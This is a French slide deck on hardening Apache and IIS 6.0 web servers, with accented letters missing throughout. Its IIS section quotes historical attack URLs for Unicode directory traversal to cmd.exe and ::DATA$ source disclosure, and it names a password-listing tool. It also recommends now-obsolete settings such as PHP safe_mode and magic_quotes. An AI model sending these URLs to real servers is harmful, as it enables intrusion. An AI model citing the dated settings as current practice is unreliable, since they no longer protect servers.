pour les enregistrements dans les fichiers de log, Apache permet de dfinir ses
propres formats LogFormat

LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined


LogFormat "%h %l %u %t \"%r\" %>s %b" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent

Ensuite, on enregistre les informations de log prcises par le format dans le fichier de
son choix
CustomLog /var/log/httpd/access_log common

Ben Farh Hdi

Gestion des droits

La gestion des accs est effectue par le module mod_access.

On manipule principalement trois catgories d'objets :


Directory dsigne un rpertoire du serveur ;
Location une arborescence du serveur web ;
Files un fichier.

Ben Farh Hdi

Mesure dfensive
il est fortement conseill de tout interdire par dfaut :
<Directory />
Order deny,allow
Deny from all
</Directory>

Ensuite, il ne reste qu' valider l'accs aux rpertoires correspondant aux sites

Order indique dans quel ordre les directives deny et allow sont values.
Deny from all interdit l'accs depuis partout.
On aurait pu indiquer un nom de machine, un nom de domaine, une adresse IP,
un couple IP/masque de rseau.
Ben Farh Hdi

Options, AllowOverride
Le suivi des liens symboliques FollowSymLinks/SymLinksIfOwnerMatch ;
L'excution des scripts CGI ExecCGI ;
Les Server Side Includes Includes et IncludesNOEXEC ;
La gnration de pages d'index Indexes en l'absence de celles-ci ;
Ainsi que l'orientation multilingue MultiViews.

All regroupe les diffrentes options sauf MultiViews,


None supprime les options.

MultiViews redirige une demande pour index.html vers index.html.en ou index.html.fr


selon la prfrence signale par le navigateur au serveur web.
Ben Farh Hdi

Il est important d'tre le plus restrictif possible par dfaut, n'autoriser que le suivi
des liens symboliques o liens et destinations ont le mme propritaire

<Directory />
Options SymLinksIfOwnerMatch
AllowOverride None
</Directory />

Un pirate pouvant crire dans un rpertoire du serveur web, par exemple via un partage
NFS, peut en profiter pour accder au fichier /etc/passwd via un lien symbolique
si l'option FollowSymLinks est prsente, Includes ou ExecCGI permet d'excuter des

programmes

La directive AllowOverride peut prendre n'importe quel paramtre qu'aurait pris Options
Ben Farh Hdi

Protection par mot de passe


Le module mod_auth permet de protger l'accs un rpertoire par mot de passe.
En pratique, c'est souvent utilis pour filtrer les accs un sous-rpertoires
d'une page personnelle.

<Directory /home/*/public_html>
AllowOverride AuthConfig
Options SymLinksIfOwnerMatch
</Directory>

Ben Farh Hdi

pour bloquer l'accs un rpertoire dtermin

<Location "/private">
Options None
AllowOverride None
AuthName "restricted stuff "
AuthType Basic
AuthUserFile "/etc/httpd/.passwd"
require valid-user
</Location>

Ben Farh Hdi

Pour les pages personnelles /home/*/public_html des utilisateurs, l'accs est


dtermin par un fichier .htaccess que peut utiliser ou non un utilisateur,
le nom du fichier mme est dfini dans la section gnrale de la configuration du serveur.
Ce fichier protge l'accs au rpertoire dans lequel il est plac ainsi que l'accs aux
sous-rpertoires.
AllowOverride AuthConfig permet ce fichier d'tre pris en compte.
Par prcaution, il faut empcher un utilisateur de les rcuprer via le web :

AccessFileName .htaccess
<Files ~ "^\.ht">
Order deny,allow
Deny from all
</Files>

Si on veut pouvoir dfinir explicitement des exceptions pour les fichiers .htpxxx par
exemple, il faut spcifier l'ordre allow puis deny pour que l'autorisation prime
sur l'interdiction.
Ben Farh Hdi

Le serveur Apache s'articule sur un ensemble de modules qu'il convient de


restreindre au strict ncessaire.

Server Side Includes : mod_include


Il est fortement conseill de le supprimer ou de ne l'activer qu'avec prudence
Options +IncludesNOEXEC ou Options +Includes.

Perl: mod_perl
Ce mode permet de meilleures performances qu'un script CGI classique.
En terme de scurit, il prsente des risques identiques.

PHP: mod_php
Il est conseill de dfinir les options suivantes dans son fichier de configuration
/etc/php.ini
Ben Farh Hdi

safe_mode surveille les fichiers accds et interdit l'usage de commande risque


expose_php contrle l'affichage de sa banner
max_execution_time et memory_limit limite les risques de DoS
magic_quotes_gpc ajoute des quotes pour les donnes reues des GET/POST et
des cookies

Ben Farh Hdi

il faut viter l'affichage des lignes fautives lorsque les scripts PHP plantent

safe_mode = On
expose_php = Off
max_execution_time = 30 ; Maximum execution time of each script, in seconds
memory_limit = 8M
magic_quotes_gpc = On
display_errors = Off
[SQL]
sql.safe_mode = On

Ben Farh Hdi

CGI
Il faut limiter leur prsence des rpertoires bien dtermins, ils sont alors autoriss
par un Options +ExecCGI sur la base d'un rpertoire particulier

Ben Farh Hdi

Rpertoires des utilisateurs : mod_userdir

Les utilisateurs du serveur peuvent bien souvent publier leurs pages dans leur rpertoire
public_html, configur via le paramtre UserDir public_html.

De faon viter une mauvaise surprise, root n'est pas autoris faire de mme :
UserDir disabled root.

Directory listing : mod_dir, mod_autoindex

La directive DirectoryIndex dfinit les pages d'index souvent index.html ou index.php3


et en l'absence de celle-ci, le module mod_autoindex en gnre une si l'option Indexes
est prsente.
Les index peuvent aider un pirate dcouvrir d'anciennes versions de script, un backup
du site ou d'autres documents sensibles.
Ben Farh Hdi

Users et users
Le serveur web est lanc par l'utilisateur root ce qui lui permet d'utiliser le port
privilgi 80, ensuite il prend l'identit d'un utilisateur sans pouvoir apache ou
nobody.

User apache
Group apache

Ben Farh Hdi

suexec
Le problme est que les scripts s'excutent tous avec le mme id (i.e. le mme propritaire).
En consquence, ils peuvent interfrer entre eux.
Le programme suexec permet d'utiliser des User/Group diffrents pour chaque
virtual host de faon sparer les utilisateurs. En contrepartie, un pirate disposant du
compte apache est capable d'utiliser ce programme pour corrompre d'autres comptes,
c'est pour cela qu'il n'est pas actif par dfaut

Il est dj compil sur une RedHat mais pas forcment activ, il suffit alors d'un

chmod u+s /usr/sbin/suexec pour le rendre actif.

Ben Farh Hdi

INTERNET INFORMATION SERVICES (IIS)

Architecture

Installation
Scurisation
Outils
HTTPS

Ben Farh Hdi

ARCHITECTURE

Ben Farh Hdi

ARCHITECTURE
Lorsquune requte HTTP arrive HTTP.Sys , ce dernier vrifie sa validit ,
Si elle est invalide, une page derreur est renvoye au demandeur, sinon
HTTP.Sys vrifie sil peut la traiter partir du cache, dans ce cas, il rpond
Immdiatement, sinon, il renvoie la requte pour quelle saligne avec les autres
En attente. (queue dattente).
Si le Worker process nest pas lcoute, HTTP.Sys signale au WAS de le
Dmarrer et le configurer en se basant sur la configuration au format XML
Sauvegarde dans la base.
Le worker process pousse la requte vers le filtre ISAPI ou vers le code de
lapplication Web pour le traitement, et renvoie la rponse au HTTP.Sys et au
Demandeur.
En cas de dfaillance du Worker process , WAS coordonne avec HTTP.Sys
En attendant de le rdamarrer .

Ben Farh Hdi

Prsentation rapide des amliorations pour IIS 6.0

Ben Farh Hdi

Fiabilit :

IIS 6.0 utilise un nouveau systme pour grer les requtes ainsi quun
environnement disolation qui permet de faire fonctionner diffrentes
applications web dans des environnements vritablement diffrents.

Ce dernier vite quune application web nentrane dautres applications en


cas de crash.
Ce nouvel environnement inclut aussi un monitoring proactif pour les
pools dapplications.

Ben Farh Hdi

Systme :
Au niveau de ladministration, IIS 6.0 est fournit avec des outils de gestion qui
permettent de ladministrer mieux que jamais.
Les fonctionnalits de la console MMC IIS ont t amliores.
La mtabase de IIS 6.0 se prsente maintenant sous forme dun fichier XML
(contrairement au fichier plat des autres versions).
Il est aussi possible de grer distance IIS 6.0 ainsi que les sites web.

A linstar de ladministration, les pages ASP hritent de nouvelles


fonctionnalits et de performances dexcution suprieures.
Un script ASP aura tendance fonctionner plus rapidement sur IIS 6.0 que sur

IIS 5.0

Ben Farh Hdi

Evolutivit :
IIS 6.0 introduit un nouveau driver en mode kernel pour la gestion du protocole
HTTP qui a pour effet daugmenter considrablement :
* Le nombre de sites web quun serveur IIS 6.0 peut hberger sur une seule
machine
* Le nombre de processus actifs qui peuvent sexcuter en concurrence

* Le nombre de requtes simultanes quun serveur web peut grer

Ben Farh Hdi

Scurit :
IIS 6.0 prsente des amliorations notables par rapport IIS 5.0. Par exemple,
pour viter les attaques potentielles, IIS 6.0 nest pas install par dfaut sur les
serveurs Windows 2003.
Les administrateurs doivent donc installer IIS manuellement. Mme aprs
linstallation, IIS 6.0 nest plus configur par dfaut pour servir des pages
dynamiques, il faut donc le configurer aussi manuellement pour fournir du

contenu dynamique.

Ben Farh Hdi

Installation
Cliquez sur dmarrer , puis sur Excuter

Tapez, appwiz.cpl

Ben Farh Hdi

Dans la fentre du Panneaux de configuration , cliquez sur


Ajouter ou supprimer des programmes

Ben Farh Hdi

Cliquez sur Ajouter ou supprimer des composants Windows

Ben Farh Hdi

Cochez la case de Services Internet (IIS) puis sur suivant


Et suivre les instructions

Ben Farh Hdi

Cliquez sur Dtails afin de connaitre les sous composants de IIS

Ben Farh Hdi

Ninstallez que les composants ncessaires

Ben Farh Hdi

Cliquez sur Suivant

Ben Farh Hdi

Dmarrage de la copie des fichiers dinstallation

Ben Farh Hdi

En cas de besoin, utilisez le CD dinstallation de Windows

Ben Farh Hdi

Ben Farh Hdi

Cliquez sur Terminer la fin de linstallation

Ben Farh Hdi

Un dossier nomm Inetpub est automatiquement install


Ce dossier est le dossier racine du serveur IIS
Il contient plusieurs dossiers, dont lun deux est nomm wwwroot

C:\Inetpub\wwroot\

Ben Farh Hdi

Ben Farh Hdi

Ben Farh Hdi

Slectionner le fichier localstart.asp et ouvrez le

Cette page contient des lments sur le fonctionnement du serveur IIS


Ben Farh Hdi

Dans le panneau Excuter , tapez la commande inetmgr pour accder au serveur IIS

Ben Farh Hdi

Crer un rpertoire virtuel partir du nud Sites web ,


Site web par dfaut

Ben Farh Hdi

Lassistant vous guidera pour le reste de linstallation

Ben Farh Hdi

Dfinir un alias pour le rpertoire virtuel, qui portera le nom du


Rpertoire du site web virtuel

Ben Farh Hdi

Cliquer sur Parcourir pour crer un rpertoire du site web virtuel


Et le placer la racine du disque C

Ben Farh Hdi

Localisez

Inetpub

Ben Farh Hdi

Puis wwwroot

Ben Farh Hdi

Crer un nouveau dossier qui portera le nom Local-Site-A

Ben Farh Hdi

Cliquer sur Suivant

Ben Farh Hdi

Paramtrez laccs et cliquez sur Suivant

Ben Farh Hdi

Cliquer sur Terminer

Ben Farh Hdi

Explorer la structure du rpertoire Local-Site-A

Ben Farh Hdi

Crer un fichier Bloc-notes comme indiqu ci-dessous

Ben Farh Hdi

Enregistrez-le sous Local-Site-A

Ben Farh Hdi

Ouvrez votre navigateur et tapez ladresse suivante :


http:// localhost/Local-Site-A/index.asp

Ben Farh Hdi

Les vulnrabilits d'IIS


IIS a fait l'objet d'un grand nombre d'avis de scurit de la part de Microsoft
jusqu' prsent. Les vulnrabilits d'IIS sont de plusieurs types :
les vulnrabilits de type dbordement de buffer, surtout dans les DLLs.
Un dbordement de buffer peut conduire un dni de service ou l'excution
de code hostile sur le serveur. Code Red par exemple exploite un dbordement
de buffer dans l'interpteur de fichiers .IDA pour se propager.
les vulnrabilits permettant l'utilisateur de sortir de l'arborescence Web et de
remonter vers les autres rpertoires du systme de fichiers (directory traversal).
Le bug Unicode, par exemple, faisait partie de cette catgorie, l'URL suivante
permettant d'accder l'interprteur de commandes de Windows :
http://www.mondomaine.com/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\

Ben Farh Hdi

les vulnrabilits permettant d'outrepasser les interprteurs de formats de fichiers


(.ASP, .ASA, etc...) et d'accder au contenu non interprt des fichiers.
Le bug bien connu du suffixe ::DATA$ en tait un bon exemple, l'URL suivante
permettant d'obtenir le code source de la page login.asp :
http://www.mondomaine.com/login.asp::DATA$

Par dfaut, IIS installe le rpertoire racine de l'arborescence Web sur la partition
systme, ce qui peut permettre un attaquant d'accder aux fichiers systme s'ils ne
sont pas protgs par des permissions d'accs.

la prsence par dfaut de pages d'exemples (showcode.asp par exemple),


dont l'usage peut conduire accder au code des pages ASP, crire dans des
fichiers sur le serveur si les permissions d'accs sont mal configures, ou excuter
des programmes sur le serveur.

Ben Farh Hdi

les comptes anonymes (IUSR_MachineName et IWAM_MachineName), crs lors de


l'installation d'IIS, sont aisment devinables et constituent donc des cibles d'attaques
privilgies, car ils peuvent tre ensuite utiliss par d'autres moyens (accs NetBIOS,
telnet, etc...). De plus, il est facile d'obtenir les mots de passe de ces comptes l'aide
de l'outil iispwds.exe

les services d'IIS tournent sous le compte SYSTEM, et il est impossible de les
faire tourner sous des comptes moins privilgis. Il n'est pas possible de chrooter
IIS et de le restreindre une "cage" dans le systme de fichiers.

Ben Farh Hdi

Scurisation d'IIS
Compte tenu de ces diffrents types de vulnrabilits et des modes
d'exploitation qui leur sont lis, il convient de procder en plusieurs tapes
pour aboutir un serveur IIS robuste.

Le concept de base est celui de la dfense en profondeur. Ce concept


d'origine militaire consiste ne pas fonder toute sa scurit sur une seule ligne
de dfense, mais utiliser plusieurs niveaux de protection.

Ben Farh Hdi

Prvoir d'installer Le serveur Windows sur une DMZ en tant que serveur autonome
plac au sein d'un Groupe de Travail
Installer le systme d'exploitation en formatant toutes les partitions en NTFS et
avec le minimum de fonctionnalits annexes
Installer IIS sans les services FTP et SMTP si vous n'en avez pas besoin et
surtout sans les extensions FrontPage
Prendre soin d'utiliser deux partitions NTFS diffrentes : sur l'une, placer le
systme et les excutables du serveur Web et sur l'autre l'arborescence des
fichiers de votre site Web.
Arrter les services FTP et SMTP et les configurer sur dmarrage manuel sils
sont installs

Ben Farh Hdi

Dans l'outil d'administration "Internet Services Manager", supprimez les sites


Web crs par dfaut ( Default Web site et Admin Web site ). Il est plus
sr de recrer ensuite des sites partir de rien plutt que de partir des sites par
dfaut et de leur configuration non matrise.

Dans Internet Services Manager, vrifiez que les pages d'exemples et de


documentation installes par dfaut avec IIS ont t supprimes

Rpertoire virtuel
IISSamples
IISHelp

Chemin d'accs
D:\InetPub\scripts
C:\WINNT\Help\IISHelp

Ben Farh Hdi

Supprimer aussi les autres rpertoires virtuels crs par dfaut (prenez garde aux
rpertoires virtuels qui n'apparaissent pas directement l'intrieur de
l'arborescence Web dans le systme de fichier) :

Rpertoire virtuel
scripts
MSADC
IISAdmin
Printers
RPC

Chemin d'accs
D:\InetPub\scripts
C:\Program
Files\CommonFiles\System\msa
dc
C:\WINNT\System32\InetSrv\IIS
Admin
C:\WINNT\Web\Printers
C:\WINNT\System32\RpcProxy

Ben Farh Hdi

Supprimer les mappings inutiles. Ne pas considrer que cela peut servir un
jour . Tant qu'un composant n'est pas explicitement utilis, il ne doit pas tre
prsent sur le systme.

ATTENTION : dans le gestionnaire des services Internet, la suppression de


ces mappings doit se faire au niveau du serveur Web lui-mme, non au
niveau des sites Web (au sens IIS) . Le serveur Web est le noeud situ audessus du ou des sites Web dans la partie gauche du gestionnaire des
services Internet et reprsent par une icne de machine et portant le nom du
serveur. Faites un clic droit sur ce serveur et choisissez Proprits :

Ben Farh Hdi

Vrifier que WWW Service est bien affich dans la liste droulante et
cliquez sur Edit . Dans l'onglet Home Directory , cliquer sur le bouton
Configuration .
Ben Farh Hdi

Ben Farh Hdi

Par dfaut, les mappings suivants sont prsents :


Extension

Chemin d'accs

Verbes

.htw

C:\WINNT\System32\webhits.dll

GET,HEAD,POST

.ida

C:\WINNT\System32\ida.dll

GET,HEAD,POST

.idq

C:\WINNT\System32\idq.dll

GET,HEAD,POST

.asp

C:\WINNT\System32\inetsrv\asp.dll

GET,HEAD,POST,TRACE

.cer

C:\WINNT\System32\inetsrv\asp.dll

GET,HEAD,POST,TRACE

.cdx

C:\WINNT\System32\inetsrv\asp.dll

GET,HEAD,POST,TRACE

.asa

C:\WINNT\System32\inetsrv\asp.dll

GET,HEAD,POST,TRACE

.htr

C:\WINNT\System32\inetsrv\ism.dll

GET,POST

.idc

C:\WINNT\System32\inetsrv\httpodbc.dll

OPTIONS,GET,HEAD,POST,PUT,
DELETE,TRACE

.shtm

C:\WINNT\System32\inetsrv\ssinc.dll

GET,POST

.shtml

C:\WINNT\System32\inetsrv\ssinc.dll

GET,POST

.stm

C:\WINNT\System32\inetsrv\ssinc.dll

GET,POST

.printer

C:\WINNT\System32\msw3prt.dll

GET,POST

Supprimer tous les mappings sauf .asp, .asa et .cer, si des pages ASP ou des
certificats X.509 clients sont utiliss.
Ben Farh Hdi

Toujours au mme niveau, dans l'onglet Application Configuration , dcocher


Enable parent paths et Enable session state si l'objet Session nest pas
utilis dans les scripts ASP. Cela vitera d'envoyer des cookies aux clients Web.

Ben Farh Hdi

Dans l'onglet App Debugging , dcocher les cases concernant le


dbugage des scripts et cliquer sur le bouton radio Send text error
message to client . Saisir alors un texte d'erreur anodin qui ne donnera
aucune information utile un attaquant. Ainsi, celui-ci n'aura plus de
messages d'erreurs indiquant le type de l'erreur, l'endroit o elle est
survenue et l'objet en cause.

Ben Farh Hdi

Toujours au niveau serveur Web dans la MMC, dans l'onglet ISAPI Filters ,
vrifier la liste des filtres ISAPI installs et supprimer ceux dont leur
provenance est inconnue

Configurer les types d'authentification utiliss par IIS (onglet Directory


security au niveau serveur, site, rpertoire ou fichier): anonyme, basique,
challenge-response, digest (envoi du hash du mot de passe seulement sur le
rseau) , authentification intgre Windows (utilisation de Kerberos) et
l'authentification par certificat X.509 client.

Configurer IIS pour que le mot de passe du compte IUSR_MachineName soit


synchronis automatiquement (onglet Directory security au niveau
serveur Web).

changer le nom de ce compte, ainsi que celui du compte


IWAM_MachineName, afin qu'ils soient plus difficiles deviner, et changer
leurs mots de passe
Ben Farh Hdi

Enlever les excutables inutiles sur la machine


Supprimer donc en particulier les excutables suivants : cmd.exe.
command.com, tftp.exe, ftp.exe, telnet.exe, net.exe, debug.exe, etc.

Limiter les droits de certains utilisateurs


limiter les droits accords au Webmaster. Dans la plupart des cas, celui-ci n'a
pas tre Administrateur de la machine. Lajouter simplement, dans le
gestionnaires de services Web, la liste des Web Site Operators au niveau de
l'onglet du mme nom. Les Operators ont des privilges intermdiaires entre de
simples utilisateurs et les Administrateurs.

Ben Farh Hdi

Noter que les Web Site Operators ont pourtant le droit de lister les mots de passe
utiliss par IIS l'aide de iispwds.exe, ce qui ne devrait pas tre le cas.
D'ailleurs, mme les Administrateurs ne devraient pas y avoir accs : c'est une
vulnrabilit dcouverte depuis longtemps, qui n'a toujours pas t corrige par Microsoft.

Restreindre les permissions d'accs aux fichiers sur les partitions NTFS. Si certains
fichiers sont indispensables, veiller ce que les permissions d'accs aux fichiers
soient les plus restreintes possibles. Par exemple, les fichiers systmes doivent
pouvoir tre excuts par les Administrateurs seulement et ne doivent tre
modifiables par personne.

Ben Farh Hdi

configurer le droit No Access pour les comptes IUSR_MachineName et


IWAM_MachineName sur l'ensemble du systme de fichiers en dehors de
l'arborescence Web.

En ce qui concerne les fichiers de l'arborescence Web, aucun ne doit avoir de


permission d'accs en criture au niveau systme de fichiers. Les pages
HTML doivent tre accessibles en lecture seulement.

Configurer les permissions d'accs aux fichiers au niveau d'IIS lui-mme : limiter
au maximum les permissions Write sur les rpertoires et les fichiers de
larborescence Web. Idalement, tous les fichiers doivent tre en Read
seulement. Enfin, dsactiver le directory browsing , permettant de lister le
contenu de vos rpertoires Web quand aucune page par dfaut n'existe.

Ben Farh Hdi

Faire attention la combinaison des permissions d'accs dfinies au niveau


des fichiers eux-mmes d'une part (permissions NTFS) et au niveau du serveur
Web d'autre part.

Vrifier qu'aucun rpertoire ou fichier sensible n'est index, car dans ce cas son
contenu serait accessible par l'intermdiaire d'un moteur de recherche de type
Index Server si celui-ci est utilis. Il est recommand, si ce n'est pas
indispensable, de ne pas utiliser Index Server et d'arrter le service
correspondant.

Configurer les permissions de la base de Registre afin que, l encore, les


utilisateurs IUSR_MachineName et IWAM_MachineName ne puissent modifier
les cls critiques, en particulier sous HKEY_LOCAL_Machine\Software.

Ben Farh Hdi

Vrifier les paramtres de journalisation des connexions au serveur Web.


ajouter, depuis le gestionnaire de services Internet, des lments inscrire
dans les fichiers de logs :

Ben Farh Hdi

Pour parfaire la scurisation du serveur, pour l'automatiser ou pour la vrifier,


utiliser les outils fournis par Microsoft. En particulier, sil ny a pas de reverse proxy pour
faire du filtrage d'URLs, installer URLScan
(http://www.microsoft.com/technet/security/URLScan.asp) : ce filtre ISAPI va appliquer
des rgles aux URLs avant mme qu'elles soient interprtes par IIS afin d'interdire par
exemple les URLs comportant des caractres interdits.
URLScan protge des scans gnrs par Code Red, par exemple, et journalise les
mauvaises URLs dans son propre fichier de logs.

D'autres outils peuvent galement tre utiles :


IIS Lockdown Tool : http://www.microsoft.com/technet/security/tools/locktool.asp
HFNetChk : http://www.microsoft.com/technet/security/tools/hfnetchk.asp

Ben Farh Hdi

Serveur en HTTPS
Il est possible de demander un certificat un organisme spcialis faisant
autoris pour la certification. Cette solution n'est pas gratuite. La solution que
l'on va adopter est gratuite et consiste utiliser notre serveur comme autorit
de certification.
Voici les diffrentes tapes :
- Demander un certificat
- Crer le certificat de serveur.
- Indiquer IIS d'utiliser ce certificat.
- Exiger les communications scurises pour certains sous sites.
- Vrifier le fonctionnement partir d'une station.

Chaque sous site peut alors tre utilis en http ou en https. Si on souhaite que
seul le protocole https puisse tre utilis, il faut imposer la connexion SSL

Ben Farh Hdi

Installer le service de certificat sur le serveur


Pour cela, aller dans "Ajout/Suppression de programmes", "Ajouter/Supprimer des
composants Windows" et cocher "Service de certificat".
Le choix "Autorit racine autonome" convient.
Remplir en indiquant les rfrences de ltablissement.
Ce sont ces renseignements que les utilisateurs verront et leur permettront de faire
confiance au certificat du serveur.

Ben Farh Hdi

laisser les choix par dfaut pour les emplacements du stockage des donnes

Maintenant dans les "Outils d'administration" une "Autorit de certification"


a t cre et dans le "Site Web pas dfaut" de IIS trois nouveaux sous
sites, "CertSrv", "CertControl" et "CertEnroll".

Ben Farh Hdi

Prparer une demande de certificat


Dans le "Gestionnaire de services Internet (IIS)" se placer sur "Site Web par
dfaut" et aller dans les proprits.
Dans le volet "Scurit de rpertoire", cliquer sur le bouton "Certificat de
serveur...".
Un assistant dmarre.
Slectionner "Crer un certificat" puis "Prparer la demande mais ne pas
l'envoyer".
Comme nom, mettre par exemple "Accs aux rpertoires personnels", choisir une
longueur de 1024 et ne pas cocher SGC.

A la fin, vous obtenir le fichier


texte c:\certreq.txt

Ben Farh Hdi

Faire une demande de certificat


Il s'agit d'envoyer ce fichier texte au service de certificat.
A partir d'un navigateur du serveur taper l'adresse
http://localhost/CertSrv
Choisir "Demander un certificat".

Ben Farh Hdi

Dans le type de demande, slectionner "Demande avance".

Ben Farh Hdi

Slectionnez ensuite "Soumettre une demande de certificat en utilisant un fichier crypt..

Ben Farh Hdi

Dans la fentre suivante, il faut copier le contenu du fichier c:\certreq.txt dans la


zone "Demande enregistre". Pour cela, ouvrir avec le bloc-notes le fichier C:\certreq.txt,
slectionner tout le texte et faire "Copier".
Revenir la fentre du navigateur, se placer dans la zone "Demande enregistre"
et faire "Coller".

Il reste cliquer sur le bouton "Soumettre" et fermer la fentre.

Ben Farh Hdi

Dlivrer le certificat
Dans "Outils d'administrations", "Autorit de certification", entrer dans "Demandes en
attentes" pour notre certificat. Il se trouver un certificat en attente de traitement.
Faire "Dlivrer".

Le certificat passe alors dans "Certificats dlivrs". Quitter la fentre "Autorit de


certification".
Ben Farh Hdi

Dlivrer le certificat
Sur le serveur, avec le mme navigateur que pour celui utilis pour faire la
demande de certificat utiliser nouveau l'adresse
http://localhost/CertSrv
Choisir "Vrifier un certificat en attente".
lapparition de: "Le certificat que vous avez demand a t mis", laisser le
choix "Cod DER" et cliquer sur "Tlcharger le certificat de l'Autorit de
certification".

Enregistrer le fichier certnew.cer la racine de C.

Ben Farh Hdi

Attribuer un certificat un site


web par dfaut
Dans le "Gestionnaire de services Internet (IIS)" se placer sur "Site Web par
dfaut" et aller dans les proprits.
Dans le volet "Scurit de rpertoire", cliquer sur le bouton "Certificat de serveur...".
Un assistant dmarre.

Choisir "Traiter la demande en attente et installer le certificat". Indiquer le fichier


obtenu l'tape prcdente, soit c:\certnew.cer

Ben Farh Hdi

L'assistant indique que le certificat a t install.

Les boutons "Afficher le certificat" et "Modifier". apparaissent

Ben Farh Hdi

Profiter du certificat
Le reste du paramtrage de IIS sera fait automatiquement par IACA.

Dans "Paramtres" et "Paramtres divers" dans le volet "Web" vrifier que la


coche est mise devant "SSL pour l'accs par WebDAV". Ceci aura pour effet
lors de la mise jour des comptes d'exiger un canal scuris SSL.
Sans IACA ceci aurait pu tre fait en allant sur dossier u-..., l'aide du bouton
"Modifier" et en cochant "Exiger un canal scuris SSL".
En gnral on n'activera pas la communication scurise pour l'accs aux sous
sites (rpertoires html).

Ben Farh Hdi

La personne devra s'identifier pour l'accs WebDAV. Sans IACA ceci aurait pu tre
fait en allant, pour chaque rpertoire, en utilisant le bouton "Modifier" de "Accs
anonyme et contrles d'authentification" et en supprimant la coche devant "Accs
anonyme" mais en laissant la coche devant "Authentification intgre de Windows".
Ben Farh Hdi

Pour chaque personne qui une permission lui a t accorde pour l'accs par WebDAV
au rpertoire personnel, cocher "Lect. DAV" ou "Ecrit. DAV".

Ben Farh Hdi

Recommandation sur la scurit dun serveur (Web)

Isoler le serveur de son domaine par des rgles firewall appropries


(DeMilitarized Zone)

Laisser le port udp 123 (NTP) ouvert pour la synchronisation dhorloge, le mieux
tant dutiliser un serveur NTP local.
Installer un serveur WSUS local dans le cas de Microsoft pour le tlchargement

des correctifs
Utiliser un superviseur de rseau tel que TcpDump, Ethereal ou Network Monitor
pour raffiner le monitoring

Ben Farh Hdi

Respecter les rgles de base de tous serveurs Web :

I. Installer le serveur WEB sur une partition NTFS ddie, dans le cas dIIS, pour
viter les remontes aux fichiers systmes et les attaques transversales.
II. Fermer les ping et ICMP .
III. Instaurer des comptes administrateurs avec des mots de passe forts.
IV. Fermer tous les services non utiliss comme FTP, SMTP et autres qui prsentent
des portes dentres accessibles.

Tant quun service ou composant nest pas explicitement utilis, il ne doit pas tre
prsent sur le systme .
V. Eviter les extensions FrontPage, dans le cas dIIS, qui prsentent des failles

connues.

Ben Farh Hdi

VI. Supprimer le Site Web par dfaut et en crer un avec un nom bien spcifique.
VII. De mme, supprimer le compte anonyme et en recrer un avec un nom particulier,

limiter ses droits suivant lusage et par rpertoires (Lecture, Excution, Ecriture,
Affichage du contenu du dossier, etc ).
VIII. Ne pas permettre de connatre les chemins des URL. Eviter dinsrer les plans
du site.
IX. Supprimer les pages dexemple, les documentations inhrentes chaque service
install et les rpertoires virtuels pointant vers ces fichiers. Il faudra de mme
banaliser les pages de messages derreurs (HTTP erreur 401, etc ) afin de
donner le moins dinformations possibles aux visiteurs.
X. Utiliser, quand cest ncessaire, le cryptage SSL.
SSL (443) ne protge que le contenu des donnes et nempche pas les intrusions.

Ben Farh Hdi

XI. Veiller reconfigurer les serveurs pour que les rpertoires temporaires,
qui servent par exemple la dcompression de fichiers, ne soient pas sur les
partitions systmes.
XII. Supprimer les filtres ISAPI et les Mapping superflus et non utilises.
Les filtres ISAPI reprsentent une alternative IIS aux scripts et programmes CGI.
Le seul filtre prsent est le filtre ASP.NET. Si vous en voyez dautres alors que
vous navez aucun fichier affubl de ces extensions, supprimer les. Le ver
Code Red, par exemple, recherche la prsence de fichiers avec lextension .IDA.
Si le filtre ISAPI pour lextension .IDA est absent, le serveur renvoie au ver une
erreur de type page non trouve et celui-ci ne pourra infecter votre serveur.
XIII. Appliquer les correctifs de mise jour de faon automatise pour viter loubli.

Ben Farh Hdi

XIV. Crer des rpertoires spcifiques pour chaque usage de fichiers ex : Rpertoire
Images, un Rpertoire pages dynamiques, un Rpertoire pages statiques, etc ...
XV. Nautoriser les permissions de ces rpertoires quen fonction de lutilisation des
fichiers (les rpertoires Image et pages statiques en lecture seul et le rpertoire
contenant des fichiers dynamiques avec des droits dexcution).
XVI. Les systmes Microsoft permettent quelques parades contre des attaques
comme cette modification de cls de registre.

Ex : HKLM\ System\ Current Control\Services\TCPIP\ Parameters\ SynAttackProtect


pour les attaques SYN.

XVII. Favoriser lusage du certificat de connexion quand cest possible, coupl avec
un mapping sur un compte local existant.

Ben Farh Hdi

XVIII. On pourrait aussi retirer toutes les commandes excutables comme telnet.exe
etc ... des partitions systmes ce qui reste, malgr tout, assez lourd grer.
Il sera plus judicieux de dsactiver lappel au Shell de commande avec la base
de registre :

\HKLM\CurrentControlSet\Services\W3SVC\Parameters\SSIEnableCmdDirective
zro ou de dsactiver toutes les extensions ISAPI faisant rfrence aux
fichiers .EXE. dans le cadre dun serveur Microsoft.
XIX. Installer et configurer les utilitaires Microsoft UrlScan, IISlockdown et MBSA mme
si certaines parties sont dj intgres IIS 6.

Ben Farh Hdi

XX. Penser, aux attaques pouvant venir de lintrieur. Le spam est devenu la
premire nuisance visible des boites mails. Il nest pas vident, pour un utilisateur
non averti, de ne pas rsister la tentation de cliquer sur un lien vantant tel ou
tels mrites et dactiver, ainsi, louverture dune faille ou dun keylogger. Ce
dernier pourra rcuprer les frappes du clavier ou le stockage de mots de passes.

Ben Farh Hdi

se mfier des messages cherchant vous inciter donner des informations


confidentielles ;
viter de cliquer sur un lien intgr dans un e-mail, mais crire ladresse soi-mme
dans la fentre du navigateur ;
installer des outils de scurit et les maintenir jour ;
rflchir avant douvrir une pice jointe quelle que soit sa provenance ;
ne pas divulguer son adresse mail nimporte qui ;
effacer soigneusement le disque dur dun ordinateur dont vous allez vous sparer ;
assurez-vous quun site Web est sr avant de dposer des informations personnelles ;
utilisez des mots de passe difficiles deviner et renouvelez-les priode rgulire ;
tre prudent dans lusage de sa messagerie instantane.

Ben Farh Hdi

XXI. Il pourra tre envisag dutiliser des rpertoires virtuels apportant de nombreux avantages :

- ils sont situs nimporte o sur le disque et non plus dans la racine
\inetpub\www\ prsentant ainsi la structure dun site web classique.
- Ils permettent davoir plusieurs serveurs web et dtre dplaables volont
sans avoir changer les liens, juste en modifiant le chemin de lalias.
- Si le site est hberg sur une partition FAT, pointer le rpertoire virtuel sur
une partition NTFS avec sa propre gestion des droits daccs.
- Les clients nont aucune ide de lemplacement du contenu sur le disque.

